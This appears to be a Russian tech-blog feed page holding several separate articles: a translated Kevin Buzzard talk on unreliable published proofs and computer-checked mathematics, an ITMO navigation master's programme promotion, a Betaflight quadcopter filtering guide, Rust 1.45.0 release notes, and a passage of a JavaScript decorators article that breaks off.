[Перевод] Будущее математики?

В этом переводе презентации британского математика Кевина Баззарда мы увидим, что следующий комикс xkcd безнадежно устарел.

Каково будущее математики?

• В 1990-х компьютеры стали играть в шахматы лучше людей.
• В 2018 компьютеры стали играть в го лучше людей.
• В 2019 исследователь искусственного интеллекта Christian Szegedy сказал мне, что через 10 лет компьютеры будут доказывать теоремы лучше, чем люди.

Конечно, он может быть не прав. А может быть и прав.
Я верю в следующее: через десять лет компьютеры будут помогать нам доказывать муторные теоремы уровня ранних аспирантов. В каких областях математики? Зависит от того, кого получится привлечь в эту область исследования.

Типичный шаблон работы искусственного интеллекта таков: сначала он очень глупый, а потом он неожиданно умнеет. Естественный вопрос: когда происходит фазовый переход и искусственный интеллект неожиданно становится очень умным? Ответ: этого никто не знает. Ясно лишь то, что чем больше людей будет вовлечено в эту область исследования, тем скорее это произойдет.

Что такое доказательство?

Если спросить студента-отличника, математика-исследователя и компьютер о том, что такое доказательство, каков будет их ответ? Ответы студента-отличника и компьютера совпадут и будут следующим:

Доказательство — это логическая последовательность утверждений, состоящая из аксиом выбранной системы, правил вывода и теорем, которые были доказаны ранее, которые, в конечном итоге, приводят к доказываевому утверждению.

Конечно, ответ математика-исследователя не будет таким идеалистичным. Для математика определением доказательства будет то, что другие опытные математики считают доказательством. Или то, что принято к публикации в журналы the Annals of Mathematics или Inventiones.

Однако с этим есть небольшая проблема. Следующие скриншоты взяты с сайта журнала the Annals of Mathematics, одного из самых престижных математических журналов в мире.

Вторая статья буквально противоречит первой. Авторы открыто пишут об этом в аннотации. Насколько я знаю, the Annals of Mathematics никогда не публиковала опровержений ни одной из этих работ. Какую из работ считают правильной опытные математики? Об этом можно узнать, только если вы работаете в этой области.

Вывод: в современной математике мнение по поводу того, является ли что-то доказательством, меняется с течением времени (например, может пройти путь от “является” до “не является”).

Эта короткая статья 2019 года указывает на то, что другая важная статья 2015 года, опубликованная в Inventiones, в значительной степени опирается на ложную лемму. Этого никто не замечал до 2019 года несмотря на то, что в 2016 году люди устраивали семинары по изучению этой важной работы.

Владимир Воеводский, лауреат Филдсовской премии, внесший вклад в основания математики, пишет, что “если автор, которому люди доверяют, пишет технически сложный аргумент, который трудно проверить, но который похож на другие, правильные, аргументы, то этот аргумент едва ли когда-нибудь будет проверен в деталях вообще.”

Журнал Inventiones так и не опубликовал опровержение работы 2015 года.

Вывод: важная математика, которая была опубликована, иногда оказывается неверной. Более того, в будущем мы наверняка увидим ещё больше опровержений опубликованных доказательств.

Может быть моя работа в области p-адической программы Ленглендса опирается на неверные результаты. Или, более оптимистично, на верные результаты, но у которых нет полного доказательства.

Если наши исследования невоспроизводимы, можем ли мы это называть наукой? Я уверен на 99.9%, что p-адическая программа Ленглендса никогда не будет использована человечеством для того, чтобы сделать что-нибудь полезное. Если моя работа в математике не является полезной и не гарантирована быть верной на 100 процентов, это просто трата времени. Поэтому я решил прекратить исследования и сконцентрироваться на проверке “известной” математики на компьютере.

В 2019 году Balakrishnan, Dogra, Mueller, Tuitman и Vonk нашли все рациональные решения определенного уравнения четвертой степени в двух переменных. В явном виде:

$$

Это вычисление имеет важное приложение в арифметике. Доказательство существенным образом опирается на вычисление в magma (система с закрытым исходным кодом), использующая быстрые нереферируемые алгоритмы. С большим трудом можно было бы перенести все вычисления на систему с открытым исходным кодом, например, sage. Однако никто не планирует этого делать.

Таким образом, часть доказательства остаётся скрытой. И возможно навсегда останется скрытой. Является ли этой наукой?

Пробелы в математике

• В 1993 году Эндрю Уайлс объявил о доказательстве Великой теоремы Ферма. В доказательстве был пробел.
• В 1994 году Уайлс и Ричард Тейлор устранили пробел, работа была опубликована и принята в математическом сообществе.
• В 1995 году я указал Тейлору, что их доказательство использует работу Гросса, которая была не завершена. В работе Гросса было предположение, что линейные операторы Гекке, определенные на канонически изоморфных группах когомологий, коммутируют с каноническим изоморфизмом. Тейлор ответил мне, что с этим нет проблем, потому что он знает другой аргумент, который не опирается на работу Гросса.

Что должен делать рецензент, которому пришла на проверку математическая статья? Утверждается, что работа рецензента — это “убедиться в том, что методы, используемые в статье, достаточно сильны для доказательства главного результата работы.”

А что если методы сильны, а авторы — нет? Так возникают ситуации, когда наши доказательства не полны. Так возникают споры о том, доказаны ли наши теоремы на самом деле. Это совсем не то, как мы рассказываем о математике нашим студентам.

Конечно, эксперты знают, какой литературе можно доверять, а какой — нет. Но должен ли я принадлежать к экспертам, чтобы узнать какой литературе я могу доверять?

Большие пробелы в математики

Экспонат A

Классификация простых конечных групп. Эксперты утверждают, что у нас есть законченная классификация простых конечных групп. Я верю экспертам.

• В 1983 году было объявлено о доказательстве классификации экспертами.
• В 1994 году эксперты нашли ошибку (но давайте не будем раздувать из мухи слона?)
• В 2004 году была опубликована 1000+ страничная работа. Эксперт в области Aschbacher утверждает, что ошибка была исправлена и объявляет план о публикации 12 томов полного доказательства.
• В 2005 году только 6 из 12 томов было опубликовано
• В 2010 году только 6 из 12 томов было опубликовано
• В 2017 году только 6 из 12 томов было опубликовано
• В 2018 году были опубликованы 7-й и 8-й тома и заметка о том, что публикация будет доделана к 2023 году.

Из трёх людей, руководящих проектом, один умер. Двум другим уже за семьдесят.

Экспонат B

Потенциальная модулярность абелевых поверхностей. Год назад мой выдающийся аспирант Toby Gee с тремя соавторами опубликовали 285-страничный препринт с результатом о том, что абелевы поверхности над тотально действительными полями являются потенциально модулярными.

Их доказательство цитирует три неопубликованных препринта (один 2018 года, один 2015 года, один 1990-х годов), записки 2007 года из интернета, неопубликованную диссертацию на немецком и работу, чьё главное утверждение было позднее опровергнуто. Более того, на 13 странице мы видим следующий текст:

Мы хотим обратить внимание на то, что мы используем Arthur’s multiplicity formula для дискретного спектра GSp4, которая была объявлена в [Art04]. Доказательство, опирающееся на другие работы автора о симплектической и ортогональной группах, было дано в [GT18], но их доказательство имеет те же предположения, что и результаты в работе [Art13] и [MW16a, MW16b]. В частности, оно зависит от случаев twisted weighted fundamental lemma, которая была объявлена в [CL10], но доказательство которых ещё не было найдено. Более того, мы опираемся на ссылки [A24], [A25], [A26] и [A27] из работы [Art13], который на момент написания статьи ещё не опубликованы.

Может ли мы честно утверждать, что это — наука?

Ссылка [CL10] выглядит следующим образом:

Работа, которая нужна моему аспиранту и соавторам так и не опубликована. Скорее всего, утверждение верно. Возможно даже доказуемо.

А это упомянутые ссылки из работы [Art13]:

В прошлом году я спросил Arthur про эти ссылки, и он ответил мне, что ни одна из работ еще не готова. Конечно, Jim Arthur гений. Он выиграл множество престижных наград. Но ему также 75 лет.

Экспонат C

Gaitsgory–Rozenblyum. В последнее время бесконечные категории обрели популярность. Со временем они станут ещё более важными. Работа Филдсовского лауреата Петера Шольце опирается на бесконечные категории.

Джейкоб Лурье написал 1000+ страничную работу об $$-категориях и включил много деталей в свою работу. Gaitsgory–Rozenblyum хотели получить аналогичные результаты про $$-категории, но в целях экономии времени опустили многие аргументы. “Опущенные доказательства появятся где-нибудь ещё.”

Я спросил Gaitsgory, как много было пропущено. Он ответил, что около 100 страниц. Я спросил Лурье, что он думает на этот счёт. Он ответил, что “математики сильно различаются по тому, насколько комфортно для них опускать детали.”

Не движется ли математика слишком быстро? Если я “эксперт” — должен ли я верить, что абелевы поверхности над тотально действительными полями потенциально модулярны? Откровенно говоря, я сам уже не знаю.

На конференции в университете Карнеги-Меллона, где я был на прошлой неделе, Markus Rabe рассказал мне, что Google работает над программой, которая будет переводить математические препринты с arxiv.org на язык, возможный для компьютерной проверки. А ещё я недавно видел работу, которая опирается на статью моего ученика, но ничего не упоминает про опущенные 100 страниц в [Art13].

Ошибка напоследок

Это очень интересный пример. Оригинальная работа была опубликована в журнале J. Funct. Anal. в 2013 году. В работе присутствует большая ошибка (неравенство в другую сторону). Ошибка была обнаружена S. Gouezel в 2017 году, когда Gouezel формализовал аргумент, используя компьютерную программу для проверки доказательств (Isabelle).

Новый аргумент представлен Gouezel и автором оригинальной работы. Новая работа не нуждается в рецензировании. Компьютер проверил 100 процентов нового аргумента. Методы оказались достаточно сильными, чтобы доказать теорему. И под “доказательством” я имею в виду классическое, “чистое”, определение доказательства — то, которому мы учим наших студентов. Каждая деталь доказательства доступна читателю. Наука воспроизводима. Это — математика, которую мы преподаем нашим студентам. Это и есть математика.

Вот другие примеры того, что, по-моему, является математикой:

• Типичное доказательство уровня студента или магистра
• Типичное доказательство столетней давности важного результата, который был хорошо задокументирован и исследован десятками тысяч математиков
• Формальные доказательства авторства следующих математиков: Gonthier, Asperti, Avigad, Bertot, Cohen, Garillot, Le Roux, Mahboubi, O’Connor, Ould Biha, Pasca, Rideau, Solovyev, Tassi и доказательство Théry теоремы Feit–Thompson
• Формальное доказательство авторства следующих математиков: Hales, Adams, Bauer, Dat Tat Dang, Harrison, Truong Le Hoang, Kaliszyk, Magron, McLaughlin, Thang Tat Nguyen, Truong Quang Nguyen, Nipkow, Obua, Pleso, Rute, Solovyev, An Hoai Thi Ta, Trung Nam Tran, Diep Thi Trieu, Urban, Ky Khac Vu и доказательство Zumkeller гипотезы Кеплера.

---

На этом текст презентации заканчивается, потому что Кевин переходит к своей главной части: формальная верификация математических доказательств в системе Lean, разработанной Leo de Moura в Microsoft Research. К сожалению, примеры не вошли в слайды.

Автор — огромный энтузиаст формальной верификации математических доказательств и ведёт очень интересный блог Xena на эту тему, который я очень рекомендую.

Let's block ads! (Why?)

От разработки навигационных систем до управления надводными судами — магистратура мегафакультета компьютерных технологий

Расскажем, о направлении «Системы управления движением и навигация» в Университете ИТМО.

^{Фото Joline Torres / Unsplash.com}

Зачем заниматься этой темой

Порой перемещение по городу становится испытанием. По данным Техасского института транспорта, за год автолюбители в США в среднем тратят 54 часа на стояние в пробках. Но для городов вроде Лос-Анджелеса эта цифра достигает 119 часов. Российские водители проводят в пробках примерно 41 час.

Все это выливается в дополнительные расходы на топливо, временные затраты и замедляет развитие экономики. Но неудобства в городах испытывают не только автолюбители. Страдают велосипедисты, пешеходы, а сильнее всего — люди с ограниченными возможностями. Они не могут перемещаться по необорудованным дорожкам и несут дополнительные расходы. В Великобритании инвалиды ежемесячно тратят на 500 фунтов больше среднего, чтобы передвигаться на такси.

Отмеченные проблемы сами по себе не решаются. Наукой и разработкой систем в этой области занимаются специалисты по управлению движением и навигации и тем самым приносят пользу обществу. Так, инженеры из MIT представили алгоритм, который помогает развозить учеников по государственным школам Бостона. В итоге удалось сэкономить 5 млн долларов на топливе — эти деньги направили на развитие учебных программ. Специалисты в сфере управления движением также участвуют в разработке беспилотников. В перспективе они сделают поездки менее напряженными.

Если говорить о прикладных проектах вроде различных навигаторов, здесь появляется все больше разнообразия. Такие проекты помогают и пешеходам — строят наиболее приятные маршруты для перемещений по городу без лестниц и затяжных подъёмов, но с пандусами для инвалидных колясок.

^{Фото Linda Söndergaard / Unsplash.com}

В этой экспертной области можно построить карьеру. Такие специалисты востребованы в крупных ИТ-компаниях. Наш выпускник Роман Яналов сейчас работает над беспилотными автомобилями в «Яндексе» — он пишет системное ПО и драйвера для лидара. Некоторые начинают проектировать собственные продукты — сейчас в Университете ИТМО разрабатывают беспилотный авиационный комплекс для зондирования местности. Его будут применять при строительстве железных дорог.

Что мы предлагаем студентам

Мы делимся опытом со слушателями магистерской программы «Системы управления движением и навигация». Преподаватели готовят студентов к проектированию компонентов для навигационных комплексов, работе с микропроцессорной техникой и моделированию систем управления.

Поступить на это направление могут специалисты, обладающие знаниями в сфере управления движением. Но мы ждем и представителей других технических специальностей, желающих сменить профиль — программа обучения рассчитана на учащихся разного уровня подготовки.

Магистранты могут выбрать одну из трех специализаций:

• Проектирование информационно-навигационных систем;
• Разработка ПО для навигационных систем;
• Синтез алгоритмов для управления надводными судами.

Лекции читают ученые из международной организации «Академия навигации и управления движением». Практику студенты проходят в АО «Концерн «ЦНИИ Электроприбор». Компания закрепляет за каждым магистром своего ментора, который помогает им с рабочими задачами — они связаны с разработкой навигационной аппаратуры и обработкой данных.

При желании учащиеся могут пройти практику в иностранных вузах — Университете Тампере и Технологическом институте в Карлсруэ. Они расположены в Финляндии и Германии соответственно.

Выпускники магистратуры работают крупных отраслевых предприятиях — в «ЦНИИ «Электроприбор», «НПО «Аврора», «ОКБ «Электроавтоматика» и АО «Навис». Они разрабатывают системы управления для самолётов, надводных судов и космических аппаратов. Но некоторые студенты решают продолжить научные изыскания и идут в аспирантуру Университета ИТМО.

Как поступить

Чтобы поступить на «Системы управления движением и навигацию» нужно:
Если у вас есть вопросы, связанные с образовательным процессом, позвоните или напишите напрямую сотрудникам отдела магистратуры. Они дадут вам ответы и постараются помочь.

---

Что еще у нас по теме учебного процесса в IT и не только:

---

Let's block ads! (Why?)

FPV Квадрокоптер: Фильтрация в Betaflight

(Betaflight 4.1, на новых настройках еще не снимал)

Прошлая статья — От земли к FPV Квадрокоптеру: Введение

На днях, я все таки решил обновиться до Betaflight 4.2 и все вокруг советуют включить фильтрацию с двухсторонним DShot. К слову она была и в 4.1.

Для начала, давайте немного разберемся, что такое фильтрация и зачем она нужна.
По умолчанию Betaflight задает общие настройки фильтрации подходящие для большинства моделей. Но для достижения наибольшего перфоманса, фильтрация может быть настроена по другому, так как ее может быть излишне или не достаточно для потрепанного квадрокоптера.

MEMS Гироскоп

У каждого квадрокоптера есть FC — Flight Controller, который по сути является мозгами. На этих контроллерах так же присутствует цифровой чип, который часто называют gyro — гироскоп. Это сенсор, который чувствует движение. Он содержит в себе маленькое електро-механическое устройство, которое так и называется — MEMS (Micro Electro Mechanical System).

Внутри этого устройства расположены механически резонирующие «вилки». Эти вилки, расположены по всем трем осям (pitch, roll, yaw) и двигаясь (механическая часть) создают флуктуации вольтажа (электрическая часть).

Флуктуации (колебания) вольтажа, по факту являются аналоговыми волнами, которые преобразуются в цифровую информацию для обработки полетным контроллером. Когда мы говорим 8k gyro, это значит, что 8000 раз в секунду, аналоговый сигнал превращается в цифровой и обрабатывается контроллером, прошивкой, в данном случае Betaflight.

Шум

Шум — это термин, который мы часто слышим, но, что это такое? Как правило, мы сразу же представляем звуковой шум или шумную обстановку в очередном 23 этажном муравейнике.

Гироскоп и PID контроллер сталкиваются с похожей проблемой. Так как гироскоп расположен на полетном контролере, который прикреплен к раме, он испытывает шум. Шум может исходить от: моторов, пропеллеров, ветра на скорость, общий шум от рамы, электроники etc.

PID Controller

PID Controller — это такая система которая корректирует позицию квадрокоптера согласно стикам (вашему управлению) или заданного положения (ну, что бы его не колбасило). PID настраивается за счет 3х параметров — P, I и D. К сожалению в этой статье мы не будем детально рассматривать настройку PID. Если вы пилот, то уже знаете, а если новичок, но на эту тему будет отдельная статья.

Эта система хорошо работает, когда количество шумов минимальна, иначе мы можем столкнуться с такими проблемами как осцилляция (вибрации) или перегрев моторов.

D term в PID контроллере имеет особенно отношение к шуму. D сглаживает быстрые движения, но вычисление D в PID контроллере значительно усиливает шум в сигнале. Это означает, что шум от гироскопа существенно усиливается значением D term и поэтому мы фильтруем в двух местах — гироскоп и D.

В качестве примера такого приумножения покажу вам такие вот логи:
Первый график — гироскоп
Второй график — PID
Третий — моторы

(это нормальные пропеллеры, с немного уменьшенной фильтрацией)

(Как видите вибрации от плохих пропеллеров усиливаются на этапе PID контроллера, что ведет к излишнему напрягу моторов, их буквально колбасит)

Скрины из — Blackbox Explorer.

Фильтрация

Процесс фильтрации заключается в удалении лишнего шума из сигнала от гироскопа. Но какую часть сигнала от гироскопа мы хотим оставить, а какую отфильтровать?
Честно не могу вам в красках рассказать, но так сложилось, что в бетафлайт, шум, а точней вибрации измеряются в Hz. 1Hz — одна ротация в секунду. Делается это как для простоты визуализации и работы с этими переменными. А еще, турбулентность технически называется «rate of change of rotation» — частота изменения ротации.
Скорость движения квадрокоптера лежит в районе 0-30 Hz. Выше 30Hz до 80Hz у нас находится пропвош (propwash), когда квадрокоптер трясет от турбулентности в собственных потоках. Информация в пределах 0 — 80Hz важна для PID контроллера, поэтому ее мы трогать не будем.

С помощью PIDtoolbox можно рисовать вот такие карты:

Low Pass

Фильтры

Как показывает предыдущий график — сигнал от гироскопа содержит информацию от 0 Гц до 1000 Гц, но нас интересует только диапазон 0-80 Гц, поскольку это фактическое движение квадрокоптера, о котором должен знать PID-контроллер. Таким образом, нам нужно решение для фильтрации, чтобы позволить низким частотам проходить через PID-контроллер, в то же время ослабляя высокие частоты, и для этого мы можем использовать фильтр Low Pass (Низких частот).

Фильтры нижних частот пропускают низкочастотный сигнал и ослабляют высокие частоты, которые в основном являются просто шумом.

Устанавливается частота среза, и контроллер просто уменьшает сигналы выше этой частоты. Кривая затухания позволяет не срезать все под чистую, а чем выше частота шума, тем сильней происходит его затухание, плавно.

Часто пилоты допускают ошибку устанавливая такой фильтр на той же частоте, что и видимый шум. Например на 200Hz. Поскольку фильтр плавно ослабляет шум, установка такого фильтра не даст особого результата. Фильтр стоит устанавливать на более низкие частоты. Возможно, даже на 80Hz.

Чем ниже вы устанавливаете такой фильтр, тем больше фильтрации происходит

Устанавливая фильтрацию, следует помнить об одной простой вещи. Чем больше фильтрации тем больше задержка. Понятное дело, что она в миллисекундах и не значительная, но для PID-контроллера это критично. Так как он начнет реагировать на события позже, а это значит, что он будет пытаться выровнять квадракоптер в прошлом :)

Notch фильтр

Notch переводится как зарубка, собственно это примерно так и выглядит:

Фильтра откидывают часть шума ниже и часть шума выше. Начиная с Betaflight 3.1 эти фильтры являются динамическими, и подстраиваются под различный шум.

Фильтра используются в связке с Low Pass фильтрами, но используются уже для фильтрации шумов от моторов, которые находятся выше.

D term фильтрация

Как было сказано выше, D способен приумножать шумы от гироскопа, поэтому в Betaflight есть фильтрация D. Ниже на грификах видно уровень шума до фильтрации и после.

В сообществе нет четкого понимания, стоит ли сильно фильтровать D или нет. Но есть правило горячих моторов, чем меньше фильтрация и чем выше D, тем сильней они греются и могут даже сгореть. Но и в обратную сторону мы получаем задержку.

RPM Filter

Так вот, собственно, что новое я стал использовать, так это RPM фильтрацию. Она работает за счет двух стороннего протокола DSHOT который позволяет полетному контроллеру узнать точное количество оборотов конкретного мотора. И уже на основании этих данных применяется фильтрация.

(Ваш ESC должен поддерживать двух сторонний DHSOT)
Прошивка на ESC, от 3.7

Если моторы греются, то это проблема. Горячие моторы могут быть признаком того, что на моторы попадает много шума и они пытаются реагировать на вибрации так часто, что начинает выделяться тепло.

Греться моторы могут по ряду причин, старая рама, погнутые колокола у моторов, нарушенная балансировка, лишние прибомбасы на вашем коптере.
Конечно лучше иметь, как говорят clean build, и что бы все было новое, но можно сперва попробовать настроить фильтрацию.

Для начала можно начать с увеличения фильтрации D, делать шаги в 20 Hz. Проверяйте температуру после каждого такого шага и найдите свой оптимальный диапазон.

А искать его следует между температурой моторов и вибрациями. Как было сказано выше, хоть и фильтрация призвана уменьшить количество шума, она может накладывать некоторые задержки и PID контроллер может не успевать. И как бы это смешно не было, вызывать вибрации. Но эти вибрации не относятся к пропвош. Это уже просто неэффективная работа PID.

В последних версиях Betaflight есть ползунки, пробуйте не менять значения самих фильтров, а попробуйте использовать эти «мастер» ползунки.

На текущий момент у меня такие настройки с включенным RPM фильтром, возможно я попытаюсь уменьшить фильтрацию еще больше:

Полезные ссылки:

Let's block ads! (Why?)

[Перевод] Rust 1.45.0: стабилизация функциональных процедурных макросов, исправление дефектов преобразования

Команда Rust рада сообщить о выпуске новой версии, 1.45.0. Rust — это язык программирования, позволяющий каждому создавать надёжное и эффективное программное обеспечение.

Если вы установили предыдущую версию Rust средствами rustup, то для обновления до версии 1.45.0 вам достаточно выполнить следующую команду:

rustup update stable

Если у вас ещё не установлен rustup, вы можете установить его с соответствующей страницы нашего веб-сайта, а также посмотреть на GitHub.

Что вошло в стабильную версию 1.45.0

Данный выпуск содержит два больших изменения: исправление давних дефектов при преобразовании между целыми числами и числами с плавающей точкой и стабилизация фич, необходимых для того, чтобы как минимум один веб-фреймворк смог работать на стабильном Rust.

Исправление дефектов в преобразованиях

Изначально Issue 10184 была открыта в октябре 2013 года, за полтора года до выпуска Rust 1.0. Так как rustc использует LLVM в качестве backend-компилятора, когда вы пишете подобный код:

pub fn cast(x: f32) -> u8 {
    x as u8
}

компилятор Rust в версиях 1.44.0 и раньше генерировал следующее LLVM-IR:

define i8 @_ZN10playground4cast17h1bdf307357423fcfE(float %x) unnamed_addr #0 {
start:
  %0 = fptoui float %x to i8
  ret i8 %0
}

fptoui реализует преобразование и является сокращением от "floating point to unsigned integer".

Но здесь есть проблема, описанная в документации:

Инструкция ‘fptoui’ преобразовывает операнд с плавающей точкой в ближайшее (округляя до нуля) беззнаковое целое значение. Если значение не помещается в ty2, то результирующее значение будет испорченным.

Оригинал

The ‘fptoui’ instruction converts its floating-point operand into the nearest (rounding towards zero) unsigned integer value. If the value cannot fit in ty2, the result is a poison value.

Следующая часть, если только вы регулярно не копаетесь в недрах компиляторов, может быть не совсем понятна. Она полна жаргона, но есть более простое объяснение: если вы приводите большое число с плавающей запятой к маленькому целому числу, вы получаете неопределённое поведение.

Это означает что, например, поведение следующего кода не определено:

fn cast(x: f32) -> u8 {
    x as u8
}

fn main() {
    let f = 300.0;

    let x = cast(f);

    println!("x: {}", x);
}

На моём компьютере с Rust 1.44.0 этот код печатает "x: 0", но т.к. его поведение не определено, напечатать он может всё что угодно. Это мы называем ошибкой «корректности» (ведь unsafe кода тут нет) — то есть ошибка, когда компилятор делает неправильные вещи. Мы отмечаем их в нашем трекере как I-unsound, и относимся к ним очень серьёзно.

Однако эта ошибка заняла много времени для исправления. Причина в том, что было очень неясно, каким должен быть правильный путь.

В итоге было принято решение сделать так:

• as будет выполнять "насыщающее приведение" (saturating cast),
• будет добавлено новое unsafe приведение, если вы хотите пропустить проверки.

Это очень похоже на доступ к массиву, например:

• array[i] проверит, чтобы убедиться, что array содержит по крайней мере i + 1 элемент,
• можно использовать unsafe { array.get_unchecked(i) }, чтобы пропустить проверку.

Итак, что такое насыщающее приведение? Давайте посмотрим на слегка изменённый пример:

fn cast(x: f32) -> u8 {
    x as u8
}

fn main() {
    let too_big = 300.0;
    let too_small = -100.0;
    let nan = f32::NAN;

    println!("too_big_casted = {}", cast(too_big));
    println!("too_small_casted = {}", cast(too_small));
    println!("not_a_number_casted = {}", cast(nan));
}

Выведет:

too_big_casted = 255
too_small_casted = 0
not_a_number_casted = 0

То есть слишком большие числа превращаются в максимально возможное значение. Слишком малые числа дают наименьшее возможное значение (равное нулю). NaN выдаёт ноль.

А это новый API для небезопасного приведения:

let x: f32 = 1.0;
let y: u8 = unsafe { x.to_int_unchecked() };

Но, как всегда, использовать этот метод рекомендуется лишь в крайних случаях. Как и при доступе к массиву, компилятор часто может соптимизировать проверки, делая эквивалентными безопасные и небезопасные версии, где это возможно доказать.

Стабилизация функциональных процедурных макросов в выражениях, шаблонах и стейтментах

В Rust 1.30.0 мы стабилизировали «функциональные процедурные макросы в позиции элемента». Например, крейт gnome-class:

Gnome-класс — это процедурный макрос для Rust. Внутри макроса мы определяем Rust-о подобный мини-язык, имеющий расширения, позволяющие вам определять подклассы GObject, их свойства, сигналы, реализации интерфейса и остальные функции GObject. Цель состоит в том, чтобы не требовать небезопасного кода с вашей стороны.

Это выглядит так:

gobject_gen! {
    class MyClass: GObject {
        foo: Cell<i32>,
        bar: RefCell<String>,
    }

    impl MyClass {
        virtual fn my_virtual_method(&self, x: i32) {
            ... do something with x ...
        }
    }
}

В "позиции элемента" — это некий жаргон, но в основном это означает, что вы можете вызывать только gobject_gen! в определённых местах в вашего кода.

Rust 1.45.0 добавляет возможность вызывать процедурные макросы в трёх новых местах:

// представим, что мы имеем процедурный макрос "mac"

mac!(); // позиция элемента, то, что было стабилизировано ранее

// но здесь представлены 3 новых:
fn main() {
  let expr = mac!(); // в выражении

  match expr {
      mac!() => {} // в шаблоне
  }

  mac!(); // в стейтменте
}

Возможность использовать макросы в большем количестве мест интересна, но есть ещё одна причина, по которой многие разработчики давно ждали эту функцию: Rocket. Популярный веб-фреймворк Rocket, первоначально выпущенный в декабре 2016 года, часто называют одной из лучших вещей, которую может предложить экосистема Rust. Вот пример "Привет, мир" из его предстоящего релиза:

#[macro_use] extern crate rocket;

#[get("/<name>/<age>")]
fn hello(name: String, age: u8) -> String {
    format!("Hello, {} year old named {}!", age, name)
}

#[launch]
fn rocket() -> rocket::Rocket {
    rocket::ignite().mount("/hello", routes![hello])
}

До этого дня Rocket зависела от функциональности из ночной версии компилятора для предоставления своей гибкости и эргономики. По факту, как можно видеть на домашней странице проекта, тот же пример что выше в текущей версии Rocket требует наличия свойства proc_macro_hygiene для компиляции. Тем не менее, как вы можете догадаться из названия свойства, сегодня оно попадёт стабильный выпуск! Данная проблема для отслеживания истории ночных функций в Rocket. Теперь они все проверены и готовы к использованию!

Следующая версия Rocket всё ещё находится в разработке, но когда она выйдет, многие будут очень довольны :)

Изменения в стандартной библиотеке

В Rust 1.45.0 были стабилизированы следующие функции:

• Arc::as_ptr,
• BTreeMap::remove_entry,
• Rc::as_ptr,
• rc::Weak::as_ptr,
• rc::Weak::from_raw,
• rc::Weak::into_raw,
• sync::Weak::as_ptr,
• sync::Weak::from_raw,
• sync::Weak::into_raw,
• str::strip_prefix,
• str::strip_suffix,
• char::UNICODE_VERSION,
• Span::resolved_at,
• Span::located_at,
• Span::mixed_site,
• unix::process::CommandExt::arg0.

Также теперь можно использовать char с диапазонами для итерации по символам:

for ch in 'a'..='z' {
    print!("{}", ch);
}
println!();
// Выведет "abcdefghijklmnopqrstuvwxyz"

Полный список изменений вы можете увидеть в детальных примечаниях к выпуску.

Другие изменения

Синтаксис, пакетный менеджер Cargo и анализатор Clippy также претерпели некоторые изменения.

Участники 1.45.0

Множество людей собрались вместе, чтобы создать Rust 1.45.0. Мы не смогли бы сделать это без всех вас, спасибо!

От переводчиков

С любыми вопросами по языку Rust вам смогут помочь в русскоязычном Телеграм-чате или же в аналогичном чате для новичковых вопросов. Если у вас есть вопросы по переводам или хотите помогать с ними, то обращайтесь в чат переводчиков.

Данную статью совместными усилиями перевели nlinker, funkill, Hirrolot и blandger.

Let's block ads! (Why?)

[Перевод] 4 революционных возможности JavaScript из будущего

JavaScript, с момента выхода стандарта ECMAScript 6 (ES6), быстро и динамично развивается. Благодаря тому, что теперь новые версии стандарта ECMA-262 выходят ежегодно, и благодаря титаническому труду всех производителей браузеров, JS стал одним из самых популярных языков программирования в мире.

Недавно я писал о новых возможностях, которые появились в стандарте ES2020. Хотя некоторые из этих возможностей и весьма интересны, среди них нет таких, которые достойны называться «революционными». Это вполне можно понять, учитывая то, что в наши дни спецификация JS обновляется достаточно часто. Получается, что у тех, кто работает над стандартом, просто меньше возможностей для постоянного внедрения в язык чего-то особенного, вроде ES6-модулей или стрелочных функций.

Но это не значит, что нечто исключительно новое в итоге в языке не появится. Собственно говоря, об этом я и хочу сегодня рассказать. Мне хотелось бы поговорить о 4 возможностях, которые, в перспективе, можно будет назвать революционными. Они находятся сейчас на разных стадиях процесса согласования предложений. Это, с одной стороны, означает, что мы можем никогда их в JavaScript и не увидеть, а с другой стороны — наличие подобных предложений даёт нам надежду на то, что мы их, всё же, когда-нибудь встретим в языке.

Декораторы (decorators)

Начнём мы с возможности, которую, вероятно, чаще всего просят включить в язык, и вокруг которой поднято довольно много шума. Пару лет назад о ней писали буквально повсюду. Речь идёт о декораторах.

Возможно, вы уже знакомы с декораторами. Особенно — если вы пишете на TypeScript. Это, в сущности, концепция метапрограммирования, нацеленная на то, чтобы дать разработчику возможность «внедрять» собственный функционал в классы, в их отдельные поля и методы, в итоге делая классы программируемыми.

Взгляните на следующий пример:

function sealed(constructor: Function) {
  Object.seal(constructor);
  Object.seal(constructor.prototype);
}

@sealed
class Greeter {
  greeting: string;
  constructor(message: string) {
    this.greeting = message;
  }
  greet() {
    return "Hello, " + this.greeting;
  }
}

Тут я решил действовать осторожно и привёл пример использования TypeScript-декораторов. Сделал я это, преимущественно, для того, чтобы показать общую идею. В вышеприведённом фрагменте кода мы создали декоратор sealed и применили его к классу Greeter. Как несложно заметить, декоратор — это просто функция, у которой есть доступ к конструктору класса, к которому она применена (это — цель). Мы используем ссылку на конструктор, а так же — метод Object.seal() для того чтобы сделать класс нерасширяемым.

Для того чтобы применить декоратор к классу, мы записываем имя декоратора со значком @ сразу перед объявлением класса. В результате получается, что перед объявлением класса появляется конструкция вида @[name], что в нашем случае выглядит как @sealed.

Проверить работоспособность декоратора можно, скомпилировав этот TS-код с включённой опцией experimentalDecorators и попробовав изменить прототип класса:

Greeter.prototype.test = "test"; // ERROR

В результате, теперь у вас должно появиться общее понимание того, зачем вообще нужны декораторы. Но мне хотелось бы затронуть тут один непростой вопрос. Он касается того, в каком состоянии сейчас находится согласование предложения по декораторам.

Я решил использовать TypeScript для демонстрации декораторов не без причины. Дело в том, что предложение, касающееся внедрения декораторов в JavaScript, появилось уже несколько лет назад. И оно сейчас «всего лишь» на 2 стадии согласования из 4. И в синтаксис, и в возможности декораторов из этого предложения постоянно вносят изменения. Но это не останавливает JS-сообщество от использования данной концепции. Для того чтобы в этом убедиться, достаточно взглянуть на огромные опенсорсные проекты вроде TypeScript или Angular v2+.

Правда, всё это, с течением времени, и по мере того, как предложение развивается, ведёт к проблеме, связанной с несовместимостью спецификаций. А именно, спецификация декораторов сильно развилась с момента появления соответствующего предложения, но многие проекты всё ещё её не реализовали. Пример на TypeScript, показанный выше, это демонстрация реализации более старой версии предложения. То же самое можно сказать и об Angular, и даже о Babel (хотя, в случае с Babel, можно говорить о том, что сейчас ведётся работа над реализацией более новой версии этой спецификации). В целом же, более новая версия предложения, в которой используется ключевое слово decorator и синтаксис, пригодный для компоновки, пока ещё не нашла хоть какого-то заметного применения.

